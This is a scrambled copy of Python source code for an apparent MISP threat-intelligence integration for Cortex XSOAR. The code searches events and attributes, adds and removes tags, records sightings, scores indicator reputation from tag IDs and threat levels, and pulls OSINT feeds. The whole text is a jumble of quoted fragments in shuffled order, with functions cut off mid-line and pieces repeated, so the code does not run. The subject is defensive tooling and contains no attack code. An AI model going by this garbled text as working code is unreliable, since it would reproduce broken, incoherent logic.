event.get('PublishTimestamp'), 'Event Info': event.get('Info'),","the context output format. \"\"\" response_object = copy.deepcopy(response) if include_correlations: # return full","that got in \"\"\" if isinstance(obj_to_build, list): return [replace_keys_from_misp_to_context_data(item) for item in obj_to_build]","was added to MISP.', events_ids) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=events_ids, ) except","(name, id, threat level id) about all the events that include the indicator","obj_to_build] if isinstance(obj_to_build, dict): return { (MISP_ENTITIES_TO_CONTEXT_DATA[key] if key in MISP_ENTITIES_TO_CONTEXT_DATA else key):","Tag ids should be recognised as suspicious reliability (DBotScoreReliability): integration reliability score. attributes_limit","response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return [attribute.get('value') for attribute in attributes] def","[]) if event_galaxies: return [galaxy.get('Name') for galaxy in event.get('Galaxy')] def event_to_human_readable_object_list(event): event_objects =","'Events with the scored tag': events_to_human_readable, 'Scored Tag ID': found_tag_id, 'Scored Tag Name':","True, will not post results to Demisto demisto_args (dict): Demisto args new_event (MISPEvent):","parsed response from the MISP search attribute request found_tag (str): The tag that","args_to_misp_format['include_sightings'] = 1 if demisto_args.get('include_sightings') == 'true' else 0 if 'include_correlations' in args_to_misp_format:","else 0 args_to_misp_format.pop('include_feed_correlations') if 'limit' not in args_to_misp_format: args_to_misp_format['limit'] = '50' if 'tags'","build_galaxy_output(events[i]) build_tag_output(events[i]) build_object_output(events[i]) events[i]['timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('timestamp')) events[i]['publish_timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('publish_timestamp')) formatted_events = replace_keys_from_misp_to_context_data(events) #","elif command == 'misp-add-file-object': return_results(add_file_object(args)) elif command == 'misp-add-domain-object': return_results(add_domain_object(args)) elif command ==","'8.8.8.8'}, {'domain': 'google.com'}] \"\"\" return [{k: v} for k, v in args.items()] def","attrubite will be added to that existing event. \"\"\" attributes_args = { 'id':","= [ {'Name': tag.get('name'), 'is_galaxy': tag.get('is_galaxy') } for tag in given_object.get('Tag') ] def","DemistoException(attribute_instance_response.get('errors')) human_readable = f\"## MISP update attribute\\nAttribute: {attribute_uuid} was updated.\\n\" attribute = attribute_instance_response.get('Attribute')","events objects. Note: When limits the attributes amount, we sort the attributes list","event_id: ID of event \"\"\" response = PYMISP.add_object(event_id, misp_object=obj) if 'errors' in response:","their event's threat level id. In such case, the score will be BAD","attribute level if not is_event_tag: tag_set_ids.add(tag_id) output.append({'ID': tag_id, 'Name': tag.get('name')}) return output, tag_set_ids","[ { 'name': star.get('name'), 'type': star.get('type'), 'description': star.get('description') } for star in given_object['Galaxy']","= {tag_id for tag_id in suspicious_tag_ids if tag_id not in common_ids} return malicious_tag_ids,","return Common.DBotScore.SUSPICIOUS, found_tag is_event_tag_malicious = any((found_tag := tag) in event_tags_ids for tag in","event for example) Args: event_id (int): Event ID to add attribute to internal","events that have the tag (i.e found_tag) which caused the indicator to be","None): \"\"\"Adding attribute to a given MISP event object This function can be","if 'errors' in response: raise DemistoException(f'Event ID: {event_id} has not found in MISP:","# mandatory arg att_id = attribute_id or attribute_uuid if not att_id: raise DemistoException('ID","keys in event_args events[i] = {key: events[i].get(key) for key in EVENT_FIELDS if key","attributes_limit)) elif command == 'ip': return_results( generic_reputation_command(args, 'ip', 'IP', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit))","dict, attribute_uuid: str) -> MISPAttribute: attribute_type = demisto_args.get('type') distribution = demisto_args.get('distribution') category =","it's dbot score. The score is calculated by the tags ids (attribute tags","ids as the greater event ids are the newer ones. Returns: response (dict):","in event['Object'] ] def build_tag_output(given_object): \"\"\"given_object is attribute or event, depends on the","the original input \"\"\" regex_and = r'(AND:)([^\\;]+)(;)?' regex_or = r'(OR:)([^\\;]+)(;)?' regex_not = r'(NOT:)([^\\;]+)(;)?'","Args: demisto_query: complex query contains saved words: 'AND:', 'OR:' and 'NOT:' using ','","re.MULTILINE) match_not = re.search(regex_not, demisto_query, re.MULTILINE) is_complex_and_operator = is_misp_complex_search_helper(match_and, misp_query_params, 'and_parameters') is_complex_or_operator =","add_attribute(event_id: int = None, internal: bool = False, demisto_args: dict = {}, new_event:","'limit', 'page', 'enforceWarninglist', 'include_feed_correlations', ] EVENT_FIELDS = [ 'id', 'orgc_id', 'org_id', 'date', 'threat_level_id',","demisto_args.get('name') obj = MISPObject('domain-ip') ips = argToList(demisto_args.get('ip')) for ip in ips: obj.add_attribute('ip', value=ip)","in attribute.get('Tag')] if attribute.get( 'Tag') else None attribute_sightings = [SIGHTING_TYPE_ID_TO_NAME[sighting.get('Type')] for sighting in","API key and the URL are correct\" in error: return_error('Unable to connect to","build_object_output(events[i]) events[i]['timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('timestamp')) events[i]['publish_timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('publish_timestamp')) formatted_events = replace_keys_from_misp_to_context_data(events) # type: ignore","for star in given_object['Galaxy'] ] def build_object_output(event): if event.get('Object'): event['Object'] = [ {","None attributes_list = sorted(attributes_list, key=lambda attribute_item: attribute_item['event_id'], reverse=True)[:attributes_limit] found_related_events, attributes_tag_ids, event_tag_ids = prepare_attributes_array_to_context_data(attributes_list)","\"\"\" uuid = demisto_args.get('uuid') tag = demisto_args.get('tag') try: response = PYMISP.untag(uuid, tag) if","attribute_highlights = attribute_response_to_markdown_table(response_for_context) pagination_message = f\"Current page size: {limit}\\n\" if len(response_for_context) == limit:","= misp_convert_timestamp_to_date_string(event.get('timestamp')) if event.get('publish_timestamp'): attribute['Event']['publish_timestamp'] = misp_convert_timestamp_to_date_string( event.get('publish_timestamp')) def found_event_with_bad_threat_level_id(found_related_events): bad_threat_level_ids = [\"1\",","'event_uuids': 'EventUUIDS', } MISP_ANALYSIS_TO_IDS = { 'initial': 0, 'ongoing': 1, 'completed': 2 }","\"\"\" Replacing keys from MISP's format to Demisto's (as appear in ENTITIESDICT) Args:","requests.Response]) -> dict: \"\"\" Convert the response of event search returned from MISP","key=lambda attribute_item: attribute_item['event_id'], reverse=True)[:attributes_limit] found_related_events, attributes_tag_ids, event_tag_ids = prepare_attributes_array_to_context_data(attributes_list) attribute_in_event_with_bad_threat_level = found_event_with_bad_threat_level_id(found_related_events) score,","an event's tag. Otherwise (if it is set to 0 or not exists)","parsed output in test_data/reputation_command_outputs.json \"\"\" response = copy.deepcopy(misp_response) attributes_list = response.get('Attribute') if not","inherited. When it is set to 1 it says that it is an","page = arg_to_number(demisto_args.get('page', 1), \"page\", required=True) limit = arg_to_number(demisto_args.get('limit', 50), \"limit\", required=True) pagination_args_validation(page,","include_correlations) attribute_highlights = attribute_response_to_markdown_table(response_for_context) pagination_message = f\"Current page size: {limit}\\n\" if len(response_for_context) ==","optional. if 'demisto_query' does not contains any of the complex operators the original","params.get('url') VERIFY = not params.get('insecure') PROXIES = handle_proxy() # type: ignore try: PYMISP","common_ids} return malicious_tag_ids, suspicious_tag_ids def is_tag_list_valid(tag_ids): \"\"\"Gets a list ot tag ids (each","ID': event.get('OwnerOrganization.ID'), 'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID'), }) return event_highlights def search_events(demisto_args:","object This function can be called as an independence command or as part","event_id = event_id if event_id else arg_to_number(demisto_args.get('event_id'), \"event_id\") attributes_args.update({'id': event_id}) if event_id else","params.get('credentials', {}).get('password')): raise DemistoException('Missing API Key. Fill in a valid key in the","event ids as the greater event ids are the newer ones. Returns: response","existing event. \"\"\" attributes_args = { 'id': demisto_args.get('event_id'), # misp event id 'type':","{ 'FILE': DBotScoreType.FILE, 'URL': DBotScoreType.URL, 'DOMAIN': DBotScoreType.DOMAIN, 'IP': DBotScoreType.IP, 'EMAIL': DBotScoreType.EMAIL, } DOMAIN_REGEX","event ids are the newer ones. Returns: response (dict): The parsed outputs to","malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'ip': return_results( generic_reputation_command(args, 'ip', 'IP', malicious_tag_ids,","= MISPSighting() sigh_obj.from_dict(**sighting_args) response = PYMISP.add_sighting(sigh_obj, att_id) if response.get('message'): raise DemistoException(f\"An error was","search using the 'event' controller. \"\"\" args = prepare_args_to_search('events') page = arg_to_number(demisto_args.get('page', 1),","are event's ones. Otherwise, the data is attribute's (attribute tags). \"\"\" output =","event's. \"\"\" uuid = demisto_args.get('uuid') tag = demisto_args.get('tag') try: response = PYMISP.untag(uuid, tag)","CommandResults(readable_output=human_readable, raw_response=response) def add_tag(demisto_args: dict, is_attribute=False): \"\"\" Function will add tag to given","events_to_human_readable): found_tag_id, found_tag_name = \"\", \"\" for event in events_to_human_readable: # removing those","key, value in obj_to_build.items() } return obj_to_build def reputation_command_to_human_readable(outputs, score, events_to_human_readable): found_tag_id, found_tag_name","reputation_value_validation(value, dbot_type): if dbot_type == 'FILE': # hashFormat will be used only in","else 0 if 'include_sightings' in args_to_misp_format: args_to_misp_format['include_sightings'] = 1 if demisto_args.get('include_sightings') == 'true'","tag) in event_tags_ids for tag in malicious_tag_ids) if is_event_tag_malicious: return Common.DBotScore.BAD, found_tag is_event_tag_suspicious","has been successfully added to event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response),","object Returns: GenericObjectGenerator: object created in MISP Example: args should look like: [{'analysis_submitted_at':","\"\"\" This function searches for all the events that have the tag (i.e","= argToList(demisto_args.get(reputation_type), ',') command_results = [] for value in reputation_value_list: command_results.append( get_indicator_results(value, dbot_type,","'first_seen': 'first_seen', 'last_seen': 'last_seen', 'provider': 'Provider', 'source_format': 'SourceFormat', 'url': 'URL', 'event_uuids': 'EventUUIDS', }","query found returns the original input \"\"\" regex_and = r'(AND:)([^\\;]+)(;)?' regex_or = r'(OR:)([^\\;]+)(;)?'","in attributes[i]} build_galaxy_output(attributes[i]) build_tag_output(attributes[i]) build_sighting_output_from_attribute_search_response(attributes[i]) convert_timestamp_to_readable(attributes[i], None) formatted_attributes = replace_keys_from_misp_to_context_data(attributes) return formatted_attributes def","demisto_args.get('category') comment = demisto_args.get('comment') value = demisto_args.get('value') first_seen = demisto_args.get('first_seen') last_seen = demisto_args.get('last_seen')","event_tags] def event_to_human_readable_galaxy_list(event): event_galaxies = event.get('Galaxy', []) if event_galaxies: return [galaxy.get('Name') for galaxy","attribute. is_attribute (bool): if the given UUID is an attribute's one. Otherwise it's","The indicator value (an IP address, email address, domain, url or file hash).","'Unknown': raise DemistoException('Invalid hash length, enter file hash of format MD5, SHA-1 or","Convert the response of attribute search returned from MISP to the context output","If there is an id that exists in both sets, it will be","\"\"\" response_object = copy.deepcopy(response) if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) events = [event.get('Event')","url, domain, email or ip). malicious_tag_ids (set): Tag ids should be recognised as","'first_seen', 'last_seen', 'value', 'Event', 'Object', 'Galaxy', 'Tag', 'decay_score', 'Sighting', ] def extract_error(error: list)","search-events returned {len(response_for_context)} events.\\n {pagination_message}\", event_outputs_to_human_readable, removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\"MISP.Event\",","change the given: '{tag}' id.\") except ValueError: raise DemistoException(f\"Tag id has to be","search_attributes(demisto_args: dict) -> CommandResults: \"\"\"Execute a MISP search over 'attributes'\"\"\" args = prepare_args_to_search('attributes')","= None, internal: bool = False, demisto_args: dict = {}, new_event: MISPEvent =","to an attribute we would like to add it to tag_set_ids. In any","f\"Error: An event with the given id: {event_id} was not found in MISP.","e: handle_connection_errors(e.message) PREDEFINED_FEEDS = { 'CIRCL': {'name': 'CIRCL OSINT Feed', 'url': 'https://www.circl.lu/doc/misp/feed-osint', 'format':","'url': 'https://www.circl.lu/doc/misp/feed-osint', 'format': 'misp', 'input': 'network'}, 'Botvrij.eu': {'name': 'The Botvrij.eu Data', 'url': 'http://www.botvrij.eu/data/feed-osint',","to be a positive number.') response = PYMISP._prepare_request('GET', 'servers/getPyMISPVersion.json') if PYMISP._check_json_response(response): return 'ok'","event_objects, 'Publish Timestamp': event.get('PublishTimestamp'), 'Event Info': event.get('Info'), 'Event Org ID': event.get('OrganizationID'), 'Event Orgc","as suspicious will be scored 2 (i.e suspicious). * don't have any tags","if 'type' in args_to_misp_format: args_to_misp_format['type_attribute'] = args_to_misp_format.pop('type') if 'to_ids' in args_to_misp_format: args_to_misp_format['to_ids'] =","{'Accept': 'application/json'} url = build_feed_url(demisto_args) osint_url = f'{url}/manifest.json' limit = arg_to_number(demisto_args.get('limit', 2), \"limit\",","events_ids) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=events_ids, ) except ValueError as e: raise","a tag that was configured to be malicious is stronger than recognised as","'Event Organization ID': event.get('OrganizationID'), 'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID') }) return attribute_highlights","command_results.append( get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) return command_results def reputation_value_validation(value, dbot_type): if","attributes] def pagination_args_validation(page, limit): if page and page < 0: raise DemistoException(\"page should","# event's uuid response = PYMISP.search(uuid=uuid) human_readable = f'Tag {tag} has been successfully","command are {args_to_misp_format}\") return args_to_misp_format def build_attributes_search_response(response: Union[dict, requests.Response], include_correlations=False) -> dict: \"\"\"","list(found_related_events.values())) return CommandResults(indicator=indicator, raw_response=misp_response, outputs=all_attributes, outputs_prefix='MISP.Attribute', outputs_key_field='ID', readable_output=readable_output) else: dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type,","= {arg: demisto_args[arg] for arg in MISP_SEARCH_ARGUMENTS if arg in demisto_args} # Replacing","a NewConnectionError, ' 'Please make sure your MISP server url is correct.') if","formatted_response = replace_keys_from_misp_to_context_data({'Attribute': attributes_list}) return formatted_response, score, found_tag, found_related_events def prepare_attributes_array_to_context_data(attributes_list): attributes_tag_ids, event_tag_ids","found_tag, found_related_events def prepare_attributes_array_to_context_data(attributes_list): attributes_tag_ids, event_tag_ids = set(), set() found_related_events = {} if","[event.get('Event') for event in response_object] for i in range(0, len(events)): # Filter object","returns set of the found tag ids. Some tags have a field called","create event command, the attrubite will be added to that existing event. \"\"\"","dbot_score=dbot_score) if dbot_type == \"URL\": return Common.URL(url=value, dbot_score=dbot_score) def build_misp_complex_filter(demisto_query: str): \"\"\" Examples","keys from MISP's format to Demisto's (as appear in ENTITIESDICT) Args: obj_to_build (Union[dict,","attribute \"\"\" attribute_id = demisto_args.get('id') attribute_uuid = demisto_args.get('uuid') sighting_type = demisto_args['type'] # mandatory","else None url_obj.extend(convert_arg_to_misp_args(demisto_args, url_args)) g_object = build_generic_object('url', url_obj) return add_object(event_id, g_object) def add_generic_object_command(demisto_args:","we won't add the tag. Args: attribute_dict (dict): The dictionary that includes the","first_seen = demisto_args.get('first_seen') last_seen = demisto_args.get('last_seen') attribute_instance = MISPAttribute() attribute_instance.uuid = attribute_uuid if","to a given MISP event object This function can be called as an","to connect to MISP because of a NewConnectionError, ' 'Please make sure your","is_complex_or_operator or is_complex_not_operator if is_complex_search: return PYMISP.build_complex_query(**misp_query_params) return demisto_query def is_misp_complex_search_helper(match_operator, misp_query_params, operator_key):","tag) in attribute_tags_ids for tag in suspicious_tag_ids) if is_attribute_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag is_event_tag_malicious","misp_attributes_args.append({'text': demisto_args.get('comment')}) if demisto_args.get('comment') else None obj = build_generic_object('ip-port', misp_attributes_args) return add_object(event_id, obj)","tag in tag_ids: try: tag = int(tag) if tag <= 0: raise DemistoException(f\"Tag","in attributes] def pagination_args_validation(page, limit): if page and page < 0: raise DemistoException(\"page","tag in tags_list: is_event_tag = tag.get('inherited', 0) # field doesn't exist when this","attributes amount to the given limit) and by sub-functions calculated the score of","PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag {tag} has been successfully added to attribute {uuid}'","is only related to an attribute we would like to add it to","as suspicious nor malicious will be scored by their event's threat level id.","analysis'), 'to_ids': argToBoolean(demisto_args.get('to_ids', True)), 'comment': demisto_args.get('comment'), 'value': demisto_args.get('value') } event_id = event_id if","given_object['Tag'] = [ {'Name': tag.get('name'), 'is_galaxy': tag.get('is_galaxy') } for tag in given_object.get('Tag') ]","\"\"\" Calculates the indicator score by following logic. Indicators of attributes and Events","the event's details. \"\"\" event = MISPEvent() event.distribution = MISP_DISTRIBUTION_TO_IDS[args.get('distribution')] threat_level_id_arg = args.get('threat_level_id')","return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(updated_event), raw_response=updated_event ) def generic_reputation_command(demisto_args, reputation_type, dbot_type, malicious_tag_ids,","args.get('info') else 'Event from XSOAR' event.date = datetime.today() event.published = argToBoolean(args.get('published', 'False')) return","UUID is an attribute's one. Otherwise it's event's. \"\"\" uuid = demisto_args.get('uuid') tag","def add_tag(demisto_args: dict, is_attribute=False): \"\"\" Function will add tag to given UUID of","if event_objects: return [event_object.get('ID') for event_object in event.get('Object')] def event_to_human_readable(response: dict): event_highlights =","format. \"\"\" response_object = copy.deepcopy(response) if include_correlations: # return full related attributes only","\"\"\" response = PYMISP.add_object(event_id, misp_object=obj) if 'errors' in response: raise DemistoException(f'Error in `{demisto.command()}`","\"\"\" url_args = [ 'text', 'last_seen', 'first_seen' ] event_id = demisto_args.get('event_id') url =","event object and set the event's details. \"\"\" event = MISPEvent() event.distribution =","from create event command, the attrubite will be added to that existing event.","attribute = attribute_instance_response.get('Attribute') convert_timestamp_to_readable(attribute, None) parsed_attribute_data = replace_keys_from_misp_to_context_data(attribute) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID',","(url_parse.username, url_parse.password)}) if url_parse.username and url_parse.password else None url_obj.extend(convert_arg_to_misp_args(demisto_args, url_args)) g_object = build_generic_object('url',","integration reliability score. attributes_limit (int) : Limits the number of attributes that will","= tableToMarkdown(f\"MISP search-attributes returned {number_of_results} attributes\", response_for_context[:number_of_results], [\"Value\"]) else: response_for_context = build_attributes_search_response(response, include_correlations)","Common.DBotScore(indicator=value, indicator_type=indicator_type, score=Common.DBotScore.NONE, reliability=reliability, malicious_description=\"No results were found in MISP\") indicator = get_dbot_indicator(dbot_type,","dbot_type): if dbot_type == 'FILE': # hashFormat will be used only in output","have the tag (i.e found_tag) which caused the indicator to be scored as","= is_complex_and_operator or is_complex_or_operator or is_complex_not_operator if is_complex_search: return PYMISP.build_complex_query(**misp_query_params) return demisto_query def","PYMISP.add_event(misp_new_event) event_object = add_event_response.get('Event') if event_object and 'id' in event_object: events_ids.append({'ID': event_object['id']}) if","events_to_human_readable: # removing those fields as they are shared by the events found_tag_id","'last_seen', 'value', 'Event', 'Object', 'Galaxy', 'Tag', 'decay_score', 'Sighting', ] def extract_error(error: list) ->","search over 'attributes'\"\"\" args = prepare_args_to_search('attributes') outputs_should_include_only_values = argToBoolean(demisto_args.get('compact', False)) include_correlations = argToBoolean(demisto_args.get('include_correlations',","to be a positive integer, please change the given: '{tag}' id.\") def create_updated_attribute_instance(demisto_args:","else None url_obj.append( {'credential': (url_parse.username, url_parse.password)}) if url_parse.username and url_parse.password else None url_obj.extend(convert_arg_to_misp_args(demisto_args,","command == 'misp-add-tag-to-attribute': return_results(add_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-remove-tag-from-event': return_results(remove_tag(args)) elif command ==","= outputs.get('Attribute') events_to_human_readable = get_events_related_to_scored_tag(all_attributes, found_tag) attribute_highlights = reputation_command_to_human_readable(all_attributes, score, events_to_human_readable) readable_output =","outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(updated_event), raw_response=updated_event ) def generic_reputation_command(demisto_args, reputation_type, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit):","args_to_misp_format['enforceWarninglist'] = 1 if demisto_args.get('enforceWarninglist') == 'true' else 0 if 'include_feed_correlations' in args_to_misp_format:","suspicious. If no tag was found, then the score is Unknown so no","readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=formatted_response, ) def add_file_object(demisto_args: dict): entry_id = demisto_args.get('entry_id') event_id =","file hash of format MD5, SHA-1 or SHA-256') if dbot_type == 'IP': if","not attributes_list: return None attributes_list = sorted(attributes_list, key=lambda attribute_item: attribute_item['event_id'], reverse=True)[:attributes_limit] found_related_events, attributes_tag_ids,","dbot_type == \"DOMAIN\": return Common.Domain(domain=value, dbot_score=dbot_score) if dbot_type == \"EMAIL\": return Common.EMAIL(address=value, dbot_score=dbot_score)","str]): object to replace keys in Returns: Union[dict, list, str]: same object type","for value in reputation_value_list: command_results.append( get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) return command_results","in given_object['Galaxy'] ] def build_object_output(event): if event.get('Object'): event['Object'] = [ { 'name': event_object.get('name'),","args\"\"\" new_event = get_new_misp_event_object(demisto_args) new_event = PYMISP.add_event(new_event, True) if isinstance(new_event, dict) and new_event.get('errors'):","build_feed_url(demisto_args) osint_url = f'{url}/manifest.json' limit = arg_to_number(demisto_args.get('limit', 2), \"limit\", required=True) try: uri_list =","Tag ids should be recognised as malicious. suspicious_tag_ids (set): Tag ids should be","UUID belongs to an attribute (True) or event (False). \"\"\" uuid = demisto_args.get('uuid')","{tag} has been successfully removed from the attribute {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute',","is part of the event scope). If the data is attribute's (is_event_level =","\"\"\" attributes_args = { 'id': demisto_args.get('event_id'), # misp event id 'type': demisto_args.get('type', 'other'),","attributes = response_object.get('Attribute') return get_limit_attribute_search_outputs(attributes) def get_limit_attribute_search_outputs(attributes): for i in range(len(attributes)): attributes[i] =","event object, meaning the tags are event's ones. Otherwise, the data is attribute's","reliability = params.get('integrationReliability', 'B - Usually reliable') if DBotScoreReliability.is_valid_type(reliability): reliability = DBotScoreReliability.get_dbot_score_reliability_from_str(reliability) else:","0: raise DemistoException(f\"Tag id has to be a positive integer, please change the","for event in response: event_tags = event_to_human_readable_tag_list(event) event_galaxies = event_to_human_readable_galaxy_list(event) event_objects = event_to_human_readable_object_list(event)","'Org', 'Orgc', 'RelatedEvent', 'Galaxy', 'Tag', 'decay_score', 'Object', 'Feed', ] ATTRIBUTE_FIELDS = [ 'id',","url = demisto_args.get('url') url_parse = urlparse(url) url_obj = [{'url': url}] url_obj.extend({'scheme': url_parse.scheme}) if","} MISP_ENTITIES_TO_CONTEXT_DATA = { 'deleted': 'Deleted', 'category': 'Category', 'comment': 'Comment', 'uuid': 'UUID', 'sharing_group_id':","related attributes only if the user wants to get them back ATTRIBUTE_FIELDS.append('RelatedAttribute') if","= json.loads(attributes) if not isinstance(args, list): args = dict_to_generic_object_format(args) obj = build_generic_object(template, args)","attribute_item: attribute_item['event_id'], reverse=True)[:attributes_limit] found_related_events, attributes_tag_ids, event_tag_ids = prepare_attributes_array_to_context_data(attributes_list) attribute_in_event_with_bad_threat_level = found_event_with_bad_threat_level_id(found_related_events) score, found_tag","1 if demisto_args.get('include_correlations') == 'true' else 0 if 'enforceWarninglist' in args_to_misp_format: args_to_misp_format['enforceWarninglist'] =","demisto_args.get('event_id'), # misp event id 'type': demisto_args.get('type', 'other'), 'category': demisto_args.get('category', 'External analysis'), 'to_ids':","'misp-add-tag-to-event': return_results(add_tag(args)) elif command == 'misp-add-tag-to-attribute': return_results(add_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-remove-tag-from-event': return_results(remove_tag(args))","MISPAttribute() attribute_instance.uuid = attribute_uuid if attribute_type: attribute_instance.type = attribute_type if distribution: attribute_instance.distribution =","args_to_misp_format: args_to_misp_format['publish_timestamp'] = args_to_misp_format.pop('last') if 'include_decay_score' in args_to_misp_format: args_to_misp_format['include_decay_score'] = 1 if demisto_args.get('include_decay_score')","for tag in attribute.get('Tag')] if attribute.get( 'Tag') else None attribute_sightings = [SIGHTING_TYPE_ID_TO_NAME[sighting.get('Type')] for","\"\"\"Creating event in MISP with the given attribute args\"\"\" new_event = get_new_misp_event_object(demisto_args) new_event","event, depends on the called function\"\"\" if given_object.get('Galaxy'): given_object['Galaxy'] = [ { 'name':","if distribution: attribute_instance.distribution = MISP_DISTRIBUTION_TO_IDS[distribution] if category: attribute_instance.category = category if value: attribute_instance.value","is_misp_complex_search_helper(match_and, misp_query_params, 'and_parameters') is_complex_or_operator = is_misp_complex_search_helper(match_or, misp_query_params, 'or_parameters') is_complex_not_operator = is_misp_complex_search_helper(match_not, misp_query_params, 'not_parameters')","def get_score(attribute_tags_ids, event_tags_ids, malicious_tag_ids, suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level): \"\"\" Calculates the indicator score by following","scored_events.extend(search_events_with_scored_tag(event, found_tag, event_name)) scored_events.extend(search_events_with_scored_tag(attribute, found_tag, event_name)) return remove_duplicated_related_events(scored_events) def remove_duplicated_related_events(related_events): related_events_no_duplicates = []","True)), 'comment': demisto_args.get('comment'), 'value': demisto_args.get('value') } event_id = event_id if event_id else arg_to_number(demisto_args.get('event_id'),","returning related event when searching for an event build_galaxy_output(events[i]) build_tag_output(events[i]) build_object_output(events[i]) events[i]['timestamp'] =","'file': return_results( generic_reputation_command(args, 'file', 'FILE', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'url':","= parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit) dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=score, reliability=reliability, malicious_description=\"Match found","[1,2,3]. Otherwise, the threat level is 4 = Unknown. note: - In case","contains any of the complex operators the original input will be returned Returns:","misp_query_params, 'and_parameters') is_complex_or_operator = is_misp_complex_search_helper(match_or, misp_query_params, 'or_parameters') is_complex_not_operator = is_misp_complex_search_helper(match_not, misp_query_params, 'not_parameters') is_complex_search","[event_object.get('ID') for event_object in event.get('Object')] def event_to_human_readable(response: dict): event_highlights = [] for event","tableToMarkdown( f\"MISP search-events returned {len(response_for_context)} events.\\n {pagination_message}\", event_outputs_to_human_readable, removeNull=True) return CommandResults( raw_response=response, readable_output=md,","change the given: '{tag}' id.\") def create_updated_attribute_instance(demisto_args: dict, attribute_uuid: str) -> MISPAttribute: attribute_type","'Timestamp': outputs[0].get('Timestamp'), 'Events with the scored tag': events_to_human_readable, 'Scored Tag ID': found_tag_id, 'Scored","match_or = re.search(regex_or, demisto_query, re.MULTILINE) match_not = re.search(regex_not, demisto_query, re.MULTILINE) is_complex_and_operator = is_misp_complex_search_helper(match_and,","build_generic_object('ip-port', misp_attributes_args) return add_object(event_id, obj) else: raise DemistoException( f'None of required arguments presents.","ATTRIBUTE_FIELDS.append('RelatedAttribute') if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return get_limit_attribute_search_outputs(attributes) def","if dbot_type == \"FILE\": hash_type = get_hash_type(value) if hash_type == 'md5': return Common.File(dbot_score=dbot_score,","suspicious_tag_ids, attributes_limit): \"\"\" Test module. \"\"\" is_tag_list_valid(malicious_tag_ids) is_tag_list_valid(suspicious_tag_ids) if attributes_limit < 0: raise","attribute['Event']['timestamp'] = misp_convert_timestamp_to_date_string(event.get('timestamp')) if event.get('publish_timestamp'): attribute['Event']['publish_timestamp'] = misp_convert_timestamp_to_date_string( event.get('publish_timestamp')) def found_event_with_bad_threat_level_id(found_related_events): bad_threat_level_ids =","exist.\") if is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag {tag} has been","successfully added to attribute {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response), raw_response=response )","sure the API key is correct.') return_error(error) def warn(*args): \"\"\" Do nothing with","ip_object_args = [ 'dst_port', 'src_port', 'domain', 'hostname', 'ip_src', 'ip_dst' ] # converting args","as e: handle_connection_errors(e.message) PREDEFINED_FEEDS = { 'CIRCL': {'name': 'CIRCL OSINT Feed', 'url': 'https://www.circl.lu/doc/misp/feed-osint',","in args_to_misp_format: args_to_misp_format['tags'] = build_misp_complex_filter(args_to_misp_format['tags']) args_to_misp_format['controller'] = controller demisto.debug(f\"[MISP V3]: args for {demisto.command()}","is_complex_and_operator = is_misp_complex_search_helper(match_and, misp_query_params, 'and_parameters') is_complex_or_operator = is_misp_complex_search_helper(match_or, misp_query_params, 'or_parameters') is_complex_not_operator = is_misp_complex_search_helper(match_not,","return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=events_ids, ) except ValueError as e: raise DemistoException(f'URL","-> GenericObjectGenerator: \"\"\" Args: template_name: template name as described in https://github.com/MISP/misp-objects args: arguments","if last_seen: attribute_instance.last_seen = last_seen return attribute_instance def update_attribute_command(demisto_args: dict) -> CommandResults: attribute_uuid","def build_generic_object(template_name: str, args: List[dict]) -> GenericObjectGenerator: \"\"\" Args: template_name: template name as","related_events def get_event_id(data_dict): if data_dict.get('EventID'): return data_dict.get('EventID') elif data_dict.get('ID'): return data_dict.get('ID') return data_dict.get('Event',","'OwnerOrganization.ID', 'orgc_name': 'OwnerOrganization.Name', 'event_uuid': 'EventUUID', 'proposal_to_delete': 'ProposalToDelete', 'description': 'Description', 'version': 'Version', 'Object': 'Object',","include_decay_score=True, includeSightings=True) indicator_type = INDICATOR_TYPE_TO_DBOT_SCORE[dbot_type] is_indicator_found = misp_response and misp_response.get('Attribute') if is_indicator_found: outputs,","and limits the tags and galaxies lists. Eventually, the outputs will be a","id. In such case, the score will be BAD if the threat level","that was configured to be malicious is stronger than recognised as suspicious). \"\"\"","ips = argToList(demisto_args.get('ip')) for ip in ips: misp_attributes_args.append({'ip': ip}) if 